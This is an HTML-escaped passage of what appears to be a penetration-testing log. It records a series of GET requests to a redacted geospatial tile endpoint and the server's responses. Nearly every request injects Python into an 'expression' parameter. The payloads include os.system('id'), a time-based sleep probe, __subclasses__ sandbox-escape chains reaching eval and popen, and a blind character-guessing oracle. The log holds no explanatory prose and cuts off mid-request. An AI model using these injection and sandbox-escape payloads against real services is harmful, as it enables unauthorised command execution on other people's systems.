&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=__import__('os').system('id')"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=__import__('os').system('id')&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=__import__('os').system('id') HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='-w "%{time_total}" "&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=__import__%28%27time%27%29.sleep%2810%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=__import__%28%27time%27%29.sleep%2810%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=__import__%28%27time%27%29.sleep%2810%29 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=b1"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=b1&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=b1 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 200 OK

{"coordinates":[0,0],"values":[255.0],"band_names":["b1"]}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=b1/0"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=b1/0&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=b1/0 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 200 OK

{"coordinates":[0,0],"values":[1.7976931348623157e+308],"band_names":["b1/0"]}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27catch_warnings%27%5D%5B0%5D.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22__import__%28%27os%27%29.system%28%27id%27%29%22%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27catch_warnings%27%5D%5B0%5D.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22__import__%28%27os%27%29.system%28%27id%27%29%22%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27catch_warnings%27%5D%5B0%5D.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22__import__%28%27os%27%29.system%28%27id%27%29%22%29 HTTP/1.1&lt;/span&gt;

&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"list index out of range"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;GET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;cog&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;point&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;tif&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="nx"&gt;Bc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__name__&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;b1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__class__&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__bases__&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="nx"&gt;B0&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="nx"&gt;D&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__subclasses__&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="nx"&gt;D&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m m-Double"&gt;1.1&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m m-Double"&gt;1.1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Internal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Error&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"detail"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;"unsupported expression type: &amp;lt;class 'list'&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=tuple%28c.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=tuple%28c.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=tuple%28c.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object is not callable"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27id%27%29.read%28%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27id%27%29.read%28%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27id%27%29.read%28%29 HTTP/1.1 &lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"list index out of range"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=https"&gt;http://REDACTED/cog/point/0,0?url=https&lt;/a&gt;......\&amp;amp;expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=https...&amp;lt;omitted&amp;gt;...&amp;amp;expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"https...&amp;lt;omitted&amp;gt;...: No such file or directory"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5B40%5D.__name"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5B40%5D.__name&lt;/a&gt;__"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5B40%5D.__name__ HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"list index out of range"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=b1.shape"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=b1.shape&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;gt; GET /cog/point/0,0?url=a.tif&amp;amp;expression=b1.shape HTTP/1.1
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object has no attribute 'shape'"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=b1.__class__.__name"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=b1.__class__.__name&lt;/a&gt;__"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;GET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;cog&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;point&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;tif&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;b1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__class__&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__name__&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m m-Double"&gt;1.1&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m m-Double"&gt;1.1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Internal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Error&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"detail"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;"data type must provide an itemsize"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=where%281%3D%3D1%2C+42%2C+99%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=where%281%3D%3D1%2C+42%2C+99%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;gt; GET /cog/point/0,0?url=a.tif&amp;amp;expression=where%281%3D%3D1%2C+42%2C+99%29 HTTP/1.1
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=where%281%3D%3D1%2C+b1%2C+b1%2A0%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=where%281%3D%3D1%2C+b1%2C+b1%2A0%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=where%281%3D%3D1%2C+b1%2C+b1%2A0%29 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 200 OK

{"coordinates":[0,0],"values":[255.0],"band_names":["where(1==1, b1, b1*0)"]}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=where%28b1.any%28%29%2C+b1%2C+b1%2A0%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=where%28b1.any%28%29%2C+b1%2C+b1%2A0%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;gt; GET /cog/point/0,0?url=a.tif&amp;amp;expression=where%28b1.any%28%29%2C+b1%2C+b1%2A0%29 HTTP/1.1
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object has no attribute 'any'"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=where%28len%28%27abc%27%29+%3D%3D+3%2C+b1%2C+b1%2A0%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=where%28len%28%27abc%27%29+%3D%3D+3%2C+b1%2C+b1%2A0%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;gt; GET /cog/point/0,0?url=a.tif&amp;amp;expression=where%28len%28%27abc%27%29+%3D%3D+3%2C+b1%2C+b1%2A0%29 HTTP/1.1
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object is not callable"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=where%28b1.__doc__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=where%28b1.__doc__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=where%28b1.__doc__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"'NoneType' object is not subscriptable"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 200 OK

{"coordinates":[0,0],"values":[0.0],"band_names":["where(b1.__class__.__name__[0] == 'n', b1, b1*0)"]}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27m%27%2C+b1%2C+b1%2A0%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27m%27%2C+b1%2C+b1%2A0%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27m%27%2C+b1%2C+b1%2A0%29 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 200 OK

{"coordinates":[0,0],"values":[0.0],"band_names":["where(b1.__class__.__name__[0] == 'm', b1, b1*0)"]}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=httpsa.tif&amp;amp;expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27a%27%2C+b1%2C+b1%2A0%29"&gt;http://REDACTED/cog/point/0,0?url=httpsa.tif\&amp;amp;expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27a%27%2C+b1%2C+b1%2A0%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=httpsa.tif&amp;amp;expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27a%27%2C+b1%2C+b1%2A0%29 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"a.tif: No such file or directory"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=7*7"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=7*7&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=7*7 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=1/0"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=1/0&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;gt; GET /cog/point/0,0?url=a.tif&amp;amp;expression=1/0 HTTP/1.1
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=b1.__class"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=b1.__class&lt;/a&gt;__"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;GET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;cog&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;point&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;tif&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;b1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__class__&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m m-Double"&gt;1.1&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m m-Double"&gt;1.1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Internal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Error&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"detail"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;"unsupported expression type: &amp;lt;class 'type'&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=b1.__class__.__bases__%5B0%5D"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=b1.__class__.__bases__%5B0%5D&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;GET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;cog&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;point&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;tif&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;b1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__class__&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__bases__&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="nx"&gt;B0&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span 